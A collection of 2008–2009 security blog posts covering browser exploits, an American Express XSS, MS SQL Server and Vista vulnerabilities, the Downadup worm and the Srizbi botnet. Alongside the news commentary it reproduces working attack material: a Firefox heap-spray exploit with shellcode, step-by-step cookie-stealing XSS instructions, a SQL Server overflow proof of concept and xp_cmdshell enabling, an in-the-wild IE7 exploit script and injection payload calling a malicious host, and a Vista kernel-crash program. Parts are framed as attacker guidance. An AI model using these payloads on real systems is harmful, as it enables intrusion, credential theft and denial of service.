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Firefox Javascript Vulnerability

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Once again, Javascript is the source of a new exploit that has been recently discovered on Firefox1. The vulnerability can be exploited by crafting malicious Javascript code on a Firefox 3.5 browser and leads to the execution of arbitrary code on the user’s machine. This is due to a vulnerability in the JIT engine of Firefox and affects machine running a x86, SPARC or arm architectures.

The vulnerability resolves around the return value of the escape function in the JIT engine. It’s exploited using the <font> tag. The code for the exploit is public and can be found at milw0rm. The exploit use a heap spraying technique to execute the shellcode.

<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
Author: SBerry aka Simon Berry-Byrne
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">


<FONT>Loremikdkw  </FONT>
<script language=JavaScript>

/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800"+   
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +   
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +   
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +   
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +   
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +   
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +   
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +   
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +   
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +   
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +   
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +   
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +   
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +   
/* Heap Spray Code */            
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)  
    fullblock += fullblock;
sprayContainer = new Array();
for (i=0; i<600; i++)  
    sprayContainer[i] = fullblock + shellcode;
var searchArray = new Array()
function escapeData(data)
 var i;
 var c;
 var escData='';
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
 return escData;
function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0)  
        while (i<pTags.length)
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0])  
                searchArray[i+1]["str"] = oTags[0].innerHTML;
function GenerateHTML()
    var html = "";
    for (i=1;i<searchArray.length;i++)
        html += escapeData(searchArray[i]["str"])


# [2009-07-13]

A fix should be available soon, but the best solution is always to disable Javascript, although a lot of sites rely on it to operate. Another way is to use the NoScript plug-in, which let you enable and disable scripts easily according to a whitelist/blacklist system.

See also:

Mozilla Firefox Memory Corruption Vulnerability”, Secunia, July 14, 2009, accessed on 2009-07-15

Exploit 9137”, SBerry, July 13, 2009, accessed on 2009-07-15

Stopgap Fix for Critical Firefox 3.5 Security Hole”, Brian Krebs, The Washington Post, July 14, 2009, accessed on 2009-07-15

Critical JavaScript vulnerability in Firefox 3.5”, Mozilla Security Blog, July 14, 2009, accessed on 2009-07-15

1 “Mozilla Foundation tackles Firefox bug”, Nick Farell, The Inquirer, Wednesday, 15, July, 2009, accessed on 2009-07-15

Written by Jonathan Racicot

July 15, 2009 at 3:41 pm

A Quick Amex XSS

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Here is a quick description of a cross-site script exploit that was fixed today on the American Express website.

The vulnerability was in the search engine of the site, which didn’t sanitized the input keywords. Therefore anyone could insert JavaScript into the search and use this to trick people into sending their cookies to the attacker.

All you need to do is

1)      Setup a web server or register for a free web hosting service that supports any type of server-side script (Perl, PHP, ASP etc…)

2)      Create a script to save the stolen cookies into a file or database and put it online.

3)      Get the link of the malicious search link. The code snipplet needed to cause the search to inject JavaScript is:


Where XXX is your code that does what ever you want it to do. If you want to steal the cookie, it code would then be something like:


So the link to use to lure people into sending their cookies would be something like:’’%2Bdocument.cookie%3C/script%3E

4)      Place this link into forums about American Express or credit cards (since there is a better chance that people using these forums are using the Amex website, and therefore have cookies…)

Now this XSS have been fixed after it started to go public. This folk[1], who found the bug, had a particular hard time convincing Amex about this security problem.

A video of the simple exploit is available  at :

See also:

American Express web bug exposes card holders“, Dan Goodin, The Register, December 16, 2008, (accessed on December 17, 2008)

[1] “Holistic Security”, Russ McRee, December 17, 2008 (accessed on December 17, 2008)

Written by Jonathan Racicot

December 17, 2008 at 4:32 pm

Microsoft’s Security Hole Framework

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Since a few days, news about the Internet Explorer exploit has been sweeping the Internet (see previous post Internet Explorer 7 Attack in the Wild). It has not been confirmed that Internet Explorer 5, 6 and 7 are affected and the problem reside in the data binding of objects. Basically, the array containing objects in memory is now updated after their deletion; therefore the code stays in memory:

The vulnerability is caused by memory corruption resulting from the way Internet Explorer handles DHTML Data Bindings. This affects all currently supported versions of Internet Explorer. Malicious HTML that targets this vulnerability causes IE to create an array of data binding objects, release one of them, and later reference it. This class of vulnerability is exploitable by preparing heap memory with attacker-controlled data (“heap spray”) before the invalid pointer dereference[1].

A patch as now been issued by Microsoft[2], so update your Windows….now!

Another vulnerability that hasn’t made as much noise is the one found by SEC Consult Vulnerability Lab[3], probably because this vulnerability is in Microsoft SQL Server 2000 and 2005, which is not as widely known as Internet Explorer. Not to forget the hole found in Wordpad also[4]. This is significant though, as Microsoft now offer a complete framework for hackers to exploit a Microsoft system.

Therefore, it is now possible for an attacker to execute arbitrary code on a server using SQL server, which might be use to modify web pages to exploit the Internet Explorer vulnerability. Imagine an intranet with a web server running Windows Server 2003, a SQL Server as its database and where all clients are forced to run Internet Explorer. Now an employee with the appropriate knowledge could practically own the entire network. The hardest part would be to find the injection point. That means studying and testing the Intranet website for unsanitized input. If he can’t, just try to social engineer your way by sending a malicious WRI file to one of the administrator.

If one injection point can be found, then he could own the SQL Server using the last vulnerability discovered in SQL Server. This exploit will cause SQL Server to write memory and therefore allowing execution of arbitrary code. This is done by using the sp_replwritetovarbin stored procedure with illegal arguments. Bernhard Mueller has released a proof-of-concept script that can be used to verify if the database is vulnerable to the attack:

@val NVARCHAR(4),
@counter INT

SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
  @end_offset output,
  @vb_buffer output,
  @vb_bufferlen output,'''

SET @val = CHAR(0x41)

SET @counter = 0
WHILE @counter < 3000
  SET @counter = @counter + 1
  SET @buf = @buf + @val

SET @buf = @buf + ''',''1'',''1'',''1'',

EXEC master..sp_executesql @buf

This procedure will trigger an access violation if the current SQL Server is vulnerable. Then one only needs to append correctly the appropriate shellcode to the buffer “@buf” and gain new privileges. Once the database is yours, look for fields in tables that are used to make links on the web server of the intranet, and use the technique described in this previous article on how this can give you access to about every computer that connects to the webserver. Of course if the database contains sensible information such as passwords, this step might not be necessary.

You could also spawn a command shell from SQL Server by enabling the xp_cmdshell stored procedure:

EXEC master.dbo.sp_configure 'show advanced options', 1
EXEC master.dbo.sp_configure 'xp_cmdshell', 1

And then executing any command you wish with that command:


After that, the network is yours. But what if SQL Server is not installed? Apparently Wordpad is there to the rescue….or almost as this exploit only apply to Windows XP SP2, Windows 2000 and Windows Server 2003. This exploit will result in the attacker gaining the same privilege as the user that opened the malicious .wri file, therefore here is another reason not to use your computer as Administrator. According to the advisory:

When Microsoft Office Word is installed, Word 97 documents are by default opened using Microsoft Office Word, which is not affected by this vulnerability. However, an attacker could rename a malicious file to have a Windows Write (.wri) extension, which would still invoke WordPad[5].

The source of the problem comes from the Wordpad Text Converter, a component use to read Word documents even if Microsoft Word isn’t installed on the system. Not much is known about this attack. Trend Micro as an article about it and a trojan[6], identified as TROJ_MCWORDP.A[7] using this vulnerability.

This attack is triggered when the user opens a .WRI, .DOC or .RTF file, most of the time sent by e-mail. Apparently this trojan looks to see if it runs in a virtual environment (VMWare). If it is not, it drops a BKDR_AGENT.VBI file, which will open a random port on the machine it just infected, opening it to the entire world.

Schema of the Wordpad Attack (Image from Trend Micro)

Schema of the Wordpad Attack (Image from Trend Micro)

See also:

New MS SQL Server vulnerability“, Toby Kohlenberg, SANS Internet Storm Center, December 15, 2008, (accessed on December 16, 2008)

Microsoft looking into WordPad zero-day flaw“, Robert Vamosi, CNet News, December 10, 2008, (accessed on December 16, 2008)

Vulnerability Note VU#926676“, US CERT, December 11, 2008, (accessed on December 16, 2008)

[1] “Clarification on the various workarounds from the recent IE advisory”,  Microsoft, December 12, 2008, (accessed on December 16, 2008)

[2] “Microsoft Issuing Emergency Patch For Internet Explorer”, Thomas Claburn, InformationWeek, December 16, 2008, (accessed on December 16, 2008)

[3] “Microsoft SQL Server sp_replwritetovarbin limited memory overwrite vulnerability”, Bernhard Mueller, SEC Consult Vulnerability Lab, December 4, 2008, (accessed on December 16, 2008)

[4] “Exploit for unpatched WordPad, IE flaws in the wild”, Peter Bright, Ars Technica, December 10, 2008, (accessed on December 16, 2008)

[5] “Microsoft Security Advisory (960906)”,  Microsoft Technet, December 9, 2008, (accessed on December 16, 2008)

[6] “A Word(pad) of Caution”, Roderick Ordoñez, Trend Micro, (accessed on December 16, 2008)

[7] “TROJ_MCWORDP.A”, Trend Micro, December 11, 2008, (accessed on December 16, 2008)

Internet Explorer 7 Attack in the Wild

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Bits of information about the new 0-day exploit are surfacing on the web. This exploit provokes a heap overflow in the XML parser of Internet Explorer 7. The exploit works with the fully patched version of Windows XP, Windows Server 2008 and Windows Vista SP1[1].

The Infection

The exploit is initiated by a JavaScript file stored on infected servers across the web. The example given by the SANS Internet Storm Center is located at http://17gamo [dot] com/1.js. F-Secure also reported the URL as being infected. The content of the JavaScript file is injected through sites by a SQL injection attack and it contains a link to a web page containing the exploit and the shellcode. A complete list of infected websites can be found at Shadowserver.

The contents of the 1.js file (be careful of what you do with this info!):

document.writeln("<script src=\"http:\/\/\/click.aspx?id=484329676&logo=1\">
document.write("<iframe width=100 height=0 src=>

The SQL injection works by adding a link to every text field contained in an accessible database. Therefore, once text contained in the database is retrieved to be displayed on the webpage, the malicious link to the JavaScript is also included in it and executes the contents of the file, which contains two statements.  One is a counter to measure how many victimes it made, the other is an iFrame to the malicious webpage. The SQL injection usually takes this form, but it really depends on which software is attacked:

rtrim(convert(varchar(4000),['+@C+']))+''<script src=http://17gamo [dot] com/1.js>
</script>''')FETCH NEXT FROM

The Exploit

This is part of the JavaScript found in the while. It checks the version of the browser and OS and triggers the buffer overflow:


nav = navigator.userAgent.toLowerCase();

if (navigator.appVersion.indexOf(‘MSIE’) != -1) {
    version = parseFloat(navigator.appVersion.split(‘MSIE’)[1])

if (version==7) {
w2k3 = ((nav.indexOf(‘windows nt 5.2’) != -1) || (nav.indexOf(‘windows 2003’) != -1));
wxp = ((nav.indexOf(‘windows nt 5.1’) != -1) || (nav.indexOf(‘windows xp’) != -1));

    if (wxp || w2k3)
document.write(‘<XML ID=I><X>    <C><![CDATA[<image 
SRC=http://&amp;#2570;&amp;#2570;    >]]></C></X>

    var i=1;
    while (i <= 10 ) {
        window.status= “ ”; i++;

You can get a working example at

The script used in the wild waits for 6 seconds before starting, apparently to fool anti-viruses. It then verifies if the current browser is Internet Explorer and if it’s version 7. It also checks that the OS is Windows XP or 2003 (but the exploit does work in Vista also). If all conditions are met, the script will then write the malformed XML code to exploit to the parser. The loop at the end keeps the status bar from displaying any information to the user. The parsing of the XML code will trigger a heap overflow in the parser and arbitrary code can be executed.

The vulnerability is explained more in detailed by the Chinese researchers[2] that first discovered the exploit and that released the code by mistake. The original article is written in Mandarin, but a rough translation from Google leads to a mistake in the handling of pointers when “SDHTML objects” are created. A machine translated post on a forum gave that information[3]:

Recently caught using IE7 0day vulnerability code, as in dealing with the object SDHTML errors lead to memory disorders, through the structural conditions of a specific code lead to cross-border memory. 现已有人赶制出网马生成器相信会在短期内流行。 It was now working towards a network of horse generator, will be popular in the short term. 该漏洞存在于IE7XML可以导致内存越界的漏洞攻击者通过构造畸形XML代码并且使用JavaScript脚本操作ShellCode去执行任意代码。 The vulnerability exists in IE7’s XML, the memory can lead to cross-border loopholes, the attacker through the abnormal structure using JavaScript and XML code script ShellCode operation to execute arbitrary code.
漏洞描述 Description of the loopholes:
由于SDHTML里处理对象存在错误导致内存紊乱通过构造某种条件可以使得SDHTML检测到错误释放已被分配的对象但是在释放已被分配的对象后SDHTML并未返回而是继续使用被释放的对象的内存执行如果这些内存又被分配给其他用途将导致SDHTML把这些内存当作一个对象来操作。 SDHTML due to errors in handling the object lead to memory disorders, through some kind of structural conditions can make mistakes SDHTML detected the release of the allocation has been the target, but the release has been the target of the distribution did not return after SDHTML be released but continue to use the object The implementation of the memory, if memory has been allocated to other purposes, such SDHTML will lead to memory as an object to the operation. 攻击者使用了XMLSRC字符串对象占用了这些释放对象的空间而对象指针里包含函数例程指针最终导致代码执行。 An attacker using the XML string SRC release of these objects taking up space objects, and object pointer included in routine function pointer, leading to the implementation of the code.

This hole wasn’t patch with the latest update from Microsoft. No details are available on when a hotfix will be distributed. Disabling Active Scripting will prevent this exploit from downloading the Trojan. Doing so will also protect anyone from most of the online attacks (but it will also make some sites unusable). Other solution: use Firefox or Opera. And for the geekiest, you can always use the safest browser around by downloading it here.

Observed Payload

Right now, it seems these attacks using this exploit are limited to MMORPG password stealers. The shellcode included with the current exploit will download http://www [dot] steoo [dot] com/admin/win.exe[4]. F-secure detect the trojan contained in the file as Win32.Magania and as Infostealer.Gamania[5] by Symantec. This malware is a game password stealing Trojan for games created by the Taiwanese company Gamania, creator of Maple Story amongst others.

The trojan will create various files into the %SYSTEM% directory and add himself in the registry so that it boots every time the computer starts. Files created include[6]:

  • %System%\Kerne0223.exe
  • %System%\Kerne0223.dll
  • %Windir%\SVCH0ST.EXE
  • %System%\aer4532gxa.dll (detected as Infostealer.Lineage)
  • [PATH TO TROJAN]\gg.bat
  • %System%\drivers\etc\hosts
  • c:\log.txt

And will steal every credentials entered by the user on these sites:

  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [http://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]
  • [https://]

It is strongly believed that this Trojan origin is based in China. Various variants of this Trojan have been created. Variants may come with a keylogger and rootkits.

See also:

“Microsoft Security Advisory (961051)”, Microsoft, December 10, 2008, (accessed on December 11, 2008)

“Mass SQL Injection”, F-Secure, December 11, 2008, (accessed on December 11, 2008)

“Chinese researchers inadvertently release IE7 exploit code”, John Leyden, The Register, December 11, 2008, (accessed on December 11, 2008)

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[1] “0-day exploit for Internet Explorer in the wild”, Bojan Zdrnja, SANS Internet Storm Center, December 10, 2008, (accessed on December 11, 2008)

[2] “Alert: IE70DAY attack code has been linked to the use of  Trojan Horse”, December 12, 2008, (accessed on December 11, 2008 – Eastern Time GMT-5)

[3] Translated by Google Translate from Chinese, (accessed on December 11, 2008)

[4] “0-day exploit for Internet Explorer in the wild”, Bojan Zdrnja, SANS Internet Storm Center, December 10, 2008, (accessed on December 11, 2008)

[5] “Infostealer.Gamania”, Hiroshi Shinotsuka, Symantec, February 13, 2007, (accessed on December 11, 2008)

[6] Ibid.

New Kid on the Block: Downadup

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Many reports on the last few days mention a new worm growing on the back of the Windows’ MS08-067 vulnerability. The worm named Downadup, also being dubbed Conficker.A by Microsoft, as now spread to alarming levels: “We think 500,000 is a ball park figure” said Ivan Macalintal, a senior research engineer with Trend Micro Inc[1].

The Exploit

The vulnerability is located in the Windows Server service, which is used to share networks files and printers across computers on a Windows network. This service is used by all Windows versions, even the Windows 7 Pre-Beta version, therefore making every Windows user vulnerable unless patched[2]:

Microsoft Windows 2000 Service Pack 4 Windows Server 2003 with SP1 for Itanium-based Systems
Windows XP Service Pack 2 Windows Server 2003 with SP2 for Itanium-based Systems
Windows XP Service Pack 3 Windows Vista and Windows Vista Service Pack 1
Windows XP Professional x64 Edition Windows Vista x64 Edition and Windows Vista x64 Edition Service Pack 1
Windows XP Professional x64 Edition Service Pack 2 Windows Server 2008 for 32-bit Systems*
Windows Server 2003 Service Pack 1 Windows Server 2008 for x64-based Systems*
Windows Server 2003 Service Pack 2 Windows Server 2008 for Itanium-based Systems
Windows Server 2003 x64 Edition Windows Server 2003 x64 Edition Service Pack 2

Vulnerable Operating System by the MS08-67 Exploit

The exploit is executed by sending a specially crafted packet to the RPC (Remote Procedure Call) interface. The interface could be reach by an attacker if there are no firewalls activated or if the File/Printer sharing options is enabled and connected to the Internet. The packet will cause a buffer overflow which allows arbitrary code to be executed.

The core of the exploit comes from a buffer overflow created when parsing a specific path. The exploit occurs when specially crafted packet is sent to port 139 or 445 on a Windows file/printer sharing session. The reception of that package will trigger a call to the RPC API NetPathCompare() and NetPathCanonicalize() functions.

The exploit is triggered when giving a specific path to canonicalize, such as “\c\..\..\AAAAAAAAAAAAAAAAAAAAAAAAAAAAA”[3] to the NetPathCanonicalize function, which uses the _tcscpy_s macro, which in turns calls the wcscpy_s function[4]. This function is used to copy a wide-character string from a location in memory to another. The buffer overflow is provoked by a miscalculation in the parameters given to the _tcscpy_s macro by the NetPathCanonicalize() function.

The _tcspy_s function is called like this by the NetPathCanonicalize:

_tcscpy_s(previousLastSlash, pBufferEnd – previousLastSlash, ptr + 2);

NetPathCanonicalize contains a complex loop to check the path for dots, dot-dots, slashes while making a lot of pointer calculations. Once the loop is passed over a couple of time, the previousLastSlash parameter gets an illegal value.

The RPC call

To exploit this vulnerability, all one have to do is to bind with the SRVSVC pipe of the Windows Server Service, which is the RPC interface and bind with it. If this is successful, a call to the NetPathCanonicalize()function with a specially crafted path as shown above, is done, then it’s only a matter of providing the payload. Exploits are already public on sites such as milw0rm[5].

The New Worm: Downadup

Downadup is the new worm to use the exploit on a large scale and has proved to be widely successful even if it’s already been one month since the vulnerability was found and patched.

Once installed on a system, the worm will copy itself with a random name into the system directory %systemroot%\system32 and register itself as a service[6]. It will, of course, also add itself into the registry with the following key:

  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<name>.dll
    ImagePath = %SystemRoot%\system32\svchost.exe -k netsvcs
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\netsvcs\Parameters\”ServiceDll” = “<name>.dll”

It will then use those sites to get the newly infected machine’s IP address:

With the IP address, Downadup can download a small HTTP server (““) and open a HTTP server on the current machine with the following address[7]:


Once the HTTP server is set up, it will scan for other vulnerable machines and when a target is found, the infected machine URL will be sent to the target as the payload. The remote computer will then download the worm from the URL given and then start to infect other machines as well. Therefore, there is no centralized point of download. Upon successful infection, it will also patch the hole to prevent other worms to infect the machine[8].

According to Symantec, it has a domain name generating algorithm based on dates just like the Srizbi has (see Srizbi is back for more details on the algorithm). It also deletes any prior Restore Points saved by the user or the system[9].

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[1] “New Windows worm builds massive botnet”, Gregg Keizer, ComputerWorld, December 1, 2008, (accessed on December 1, 2008)

[2] “Microsoft Security Bulletin MS08-067 – Critical”, Microsoft, October 23, 2008, (accessed on December 2, 2008)

[3] “Gimmiv.A exploits critical vulnerability (MS08-067)”, Sergei Shevchenko, October 23, 2008, (accessed December 2, 2008)

[4] “MS08-067 and the SDL”, The Security Development Lifecycle, October 22, 2008, (accessed on December 2, 2008)

[5] See MS08-067 Exploit by Debasis Mohanty and MS08-067 Remote Stack Overflow Vulnerability Exploit for examples.

[6] “F-Secure Malware Information Pages: Worm:W32/Downadup.A”, F-Secure Corporation, November 26, 2008, (accessed on December 2, 2008)

[7] “W32.Downadup”, Symantec, Takayoshi Nakayama and Sean Kiernan, November 24, 2008, (accessed on December 2, 2008)

[8] “Microsoft warns of new Windows attacks”, Gregg Keizer, ComputerWorld, December 1, 2008, (accessed on December 2, 2008)

[9] “Worm:Win32/Conficker.A”, Joshua Phillips, Microsoft Malware Protection Center, 2008, (accessed on December 2, 2008)

Srizbi is back

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Update: The new Estonian company that hosted the command & control server, Starline Web Services, was shut down. The domain name chase continues !

The Srizbi botnet is back online after being shut down by the closure of the criminal hosting company McColo Corp two weeks ago. Srizbi’s command and controls servers, now moved to an Estonian hosting provider, took back control of the botnet[1] in the last days.

The Srizbi Botnet

The Srizbi botnet is mostly a spam generating botnet. According to security firm FireEye, there are 50 variants of the bot, which controls altogether around 500 000 zombies across the world[2]. The most virulent forms of Srizbi are said to control around 50 000 bots.

The Srizbi botnet had a backup procedure in case its C&C servers went down, that is why it got back online very fast. Included in the bot, is a procedure that generates domain names[3] and tries to contact it to see if the C&C is available. Therefore the owners, knowing the random-generating domain name algorithm of the botnet, only had to register one or more of the domain names that will be generated by the bots and install their new control and command server on a machine registered a valid domain name. That is enough for bots to download a new version, pointing to a new address for the botnet. To explain it using pseudo-code, it would look something like this:

Function FindBackupCommand()
	String GeneratedDomainName = GeneratePossibleDomain();

	If (CanResolve(GeneratedDomainName))
		String CommandServerIpAddress = Resolve(GenerateDomainName)

    If (IsCommandServer(CommandServerIpAddress))
            String Command = RetrieveNewCommand(CommandServerIpAddress)
End Function

More information can be found about the random name generation algorithm at FireEye[4]. Interesting enough, the algorithm is based on date to generate a new set of possible domains names by period. FireEye had successfully discovered this function after McColo closed, but due to financial constraint, they could not register all the domain names that the bot generated. That would have implied to register more than 450 domains each week…

We have registered a couple hundred domains,” Fengmin Gong, chief security content officer at FireEye Inc., “but we made the decision that we cannot afford to spend so much money to keep registering so many [domain] names.[5]

Communications intercepted between a Srizbi bot and its Command and Control Server

Communications intercepted between a Srizbi bot and its Command and Control Server

According to the Symantec Srizbi webpage[6], the worm creates windbg48.sys and another randomly named .SYS file in the %SYSTEM% folder. It then registers the wingdbg48.sys as a driver by inserting the hidden HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\windbg48 key into the Windows’ Registry. Srizbi hides those keys by running in Kernel mode and hooking the ZwOpenKey and ZwEnumerateKey kernel functions among others. It might also try to block access to the registry. A tool is available in order to access the registry anyway.

It will also hide its files by hooking the NTFS file system driver. As if it was not enough, it will also modify the TCP/IP network drivers to bypass Firewalls and Intrusion Detection systems. It will also work in Safe Mode.

For those who wish to go deeper, Windows has two levels of execution: user mode and kernel mode. Usually applications run in user mode, which protects the kernel from applications so they won’t mess up the system. Kernel mode is a privilege mode where services and drivers have access to system resources such as the processor but also the memory… Hooking kernel functions is done by redirecting calls made to the kernel to a custom function. There are a couple of ways to do that in kernel mode, and one of them is to alter the System Service Descriptor Table, which is a table that maps every kernel function to an address in memory. By modifying this table to the address of your custom function, you could hook the kernel. This however would be easily detected by any anti-virus.

Another way is to insert an unconditional jump instruction into the kernel function by modifying the function directly in memory. The advantage of this method is that it’s much harder to detect, and can reproduce the same functionality of the hooked function. This is called inline function hooking.

Function HookKernel()
    AddressZwOpenKey = GetAddressOf(“ZwOpenKey”)
    AddressZwOpenKeyX = GetAddressOf(“ZwOpenKeyX”)
    Byte[5] JumpBytes = GetBytes(“JMP ” + AddressZwOpenKeyX);
    // Should look like [E5, 00, 00, 00, 00]
    WriteBytesDirectToMemory(AddressZwOpenKey, JumpBytes)
End Function

This why this Trojan can also work in Safe Mode. I don’t know if this particular Trojan uses inline function hooking, but rootkits that uses this kind of hooking are quite hard and dangerous to remove.

Return of Srizbi

When McColo Corp. closed two weeks ago following and investigation by the Washington Post’s Security Fix, it made the news across the Internet as this hosting company was considered responsible for around 75 percent of all the spam sent across the web. Although many rejoiced, including me, at the sudden drop of spam as soon as McColo was turn off[7], everyone knew it was only temporary before the cyber criminals would found another hosting company.

Few knew that this random domain name generating routine was coded to connect to another C&C server though. As soon as it came back online, the first command it received was for a Russian spam campaign. By generating domain names such as,, or, it was unthinkable for FireEye to register every possibility generated by Srizbi. It is becoming harder and harder to fight botnets on a technical basic. Fortunately, the economic fight could maybe put an end to spam, as mentioned in this Ars Technica article:

“… it suggests that spammers may be extremely sensitive to costs-more so than was previously believed. Even a small increase in the cost of sending an e-mail, they postulate, could have significant ramifications for the botnet industry, and might slow the rate at which it grows or put some spam operations out of business altogether.[8]

The Rustock, Cutwail and Asprox botnets are also making a come back[9], provoking a new surge in spam in the last few days, but not quite yet at the same level of the pre-McColo era.

See also:

Windows Rootkits of 2005, Part One“, James Butler, Sherri Sparks, Security Focus, November 4, 2005,, (accessed on November 27, 2008)

Fallback C&C channels“, Alex Lanstein, Atif Mushtaq, Julia Wolf, and Todd Rosenberry, FireEye, November 16, 2008, (accessed on November 27, 2008)

[1] “Massive botnet returns from the dead, starts spamming”, Gregg Keizer, ComputerWorld, November 26, 2008, (accessed on November 27, 2008)

[2] “Srizbi Botnet Re-Emerges Despite Security Firm’s Efforts”, Brian Krebs, Washington Post – Security Fix, November 26, 2008, (accessed on November 27, 2008)

[3] “Technical details of Srizbi’s domain generation algorithm”, Julia Wolf, November 25, 2008, (accessed on November 27, 2008)

[4] Ibid.

[5] “Massive botnet returns from the dead, starts spamming”, Gregg Keizer, ComputerWorld, November 26, 2008, (accessed on November 27, 2008)

[6] “Trojan.Srizbi”, Kaoru Hayashi, Symantec, July 23, 2007, (accessed on November 27, 2008)

[7] “Spam plummets after Calif. hosting service shuttered”, Gregg Keizer, ComputerWorld Security, (accessed on November 27, 2008)

[8] “Study: Storm botnet brought in daily profits of up to $9,500”, Joel Hruska, Ars Technica, November 10, 2008, (accessed on November 27, 2008)

[9] “Srizbi botnet active again”, Jeremy Kirk, November 27, 2008, (accessed on November 27, 2008)

Attacking the Vista Kernel

with 2 comments

CNet reported not long ago about a new vulnerability found in the kernel of Vista[1]. The attack is a buffer overflow which corrupts the memory, and thus could be use for denial of service attacks. The report from Phion, the security company that reported the vulnerability, also states that the attack could be used to inject code[2].

There is a new vulnerability found in the kernel of Vista . The attack is a buffer overflow which corrupts the memory

There is a new vulnerability found in the kernel of Vista. The attack is a buffer overflow which corrupts the memory

The buffer overflow is caused by adding an IP address with an illegal subnet bits value to the IPv4 routing table: For example the following command will make Vista crash with a blue screen of death:

C:>route add

In the command above, we specified 254 as being the number of subnet bits, which is an illegal value. According to the vulnerability report by Thomas Unterleitner, the greater the value is, the quicker the crash is provoked[3].

The overflow is located into the CreateIpForwardEntry2 method which is part of the Iphlpapi library (Iphlpapi.dll). The problem arises because the method doesn’t verify the value of the PrefixLength property of DestinationPrefix specified in the MIB_IPFORWARD_ROW2 structure passed to the method. Therefore, the following code should crash the kernel[4]:

   1:  #define _WIN32_WINNT 0x0600
   2:  #define WIN32_LEAN_AND_MEAN
   4:  #include <windows.h>
   5:  #include <winsock2.h>
   6:  #include <ws2ipdef.h>
   7:  #include <iphlpapi.h>
   9:  #include <stdio.h>
  10:  #include <stdlib.h>
  12:  int main(int argc, char** argv)
  14:      DWORD               dwStatus;
  15:      MIB_IPFORWARD_ROW2 route;
  17:      if (argc != 3)
  18:      {
  19:          printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]);
  20:          return -1;
  21:      }
  23:      InitializeIpForwardEntry(&route);
  25:      route.InterfaceIndex = atoi(argv[1]);
  26:      route.DestinationPrefix.Prefix.si_family = AF_INET;
  28:      route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr
  29:  = inet_addr("");
  30:      route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET;
  32:      route.DestinationPrefix.PrefixLength = atoi(argv[2]);
  34:      route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("");
  35:      route.NextHop.Ipv4.sin_family        = AF_INET;
  37:      route.SitePrefixLength        = 0;
  39:      route.Protocol            = MIB_IPPROTO_NETMGMT;
  40:      route.Origin                = NlroManual;
  41:      route.ValidLifetime        = 0xffffffff;
  42:      route.PreferredLifetime        = 0xffffffff;
  43:      route.Metric                = 1;
  45:      dwStatus = CreateIpForwardEntry2(&route);
  46:      return dwStatus;

In order for this code to work you must be in the Administrators group or in the Network Operators Group…so it’s of limited use for most people, but you never know…

mov     edi,edi
push    ebp
mov     ebp,esp
movzx   eax,word ptr [ebp+10h]   ; = 0x00ee  PrefixLength in bits
add     eax,7
shr     eax,3
push    eax                      ; 0x0000001e PrefixLength in bytes
push    dword ptr [ebp+0Ch]      ; 0x934b7ac4 src buffer
push    dword ptr [ebp+8]        ; 0x83716398 dst buffer
; 83716398  00 00 00 00 00 00 00 00-05 00 06 04 45 76 65 ee
; 837163a8  01 00 00 00 01 00 00 00-78 81 15 83 00 00 00 00
; 837163b8  18 68 f0 8a 00 00 00 00-01 00 04 00 01 00 00 00
; ------------------------------------------------------------------
call    NETIO!memcpy
; memcpy(0x83716398, 0x934b7ac4, 0x0000001e) // BUFFER OVERFLOW!!!!
; ------------------------------------------------------------------
; 83716398  01 02 03 04 00 00 00 00-00 13 6c 83 48 7b 4b 93
; 837163a8  78 62 8b 85 00 13 6c 83-48 13 6c 83 78 00 00 00
; 837163b8  18 68 f0 8a 00 00 00 00-01 00 04 00 01 00 00 00
; compare the byte values with the src buffer printed before

add     esp,0Ch
pop     ebp
ret     0Ch
neg     ecx
push    ecx

Microsoft said it had no intention of patching this buffer overflow before the next Vista service pack[5]. This exploit doesn’t apply to Windows XP.

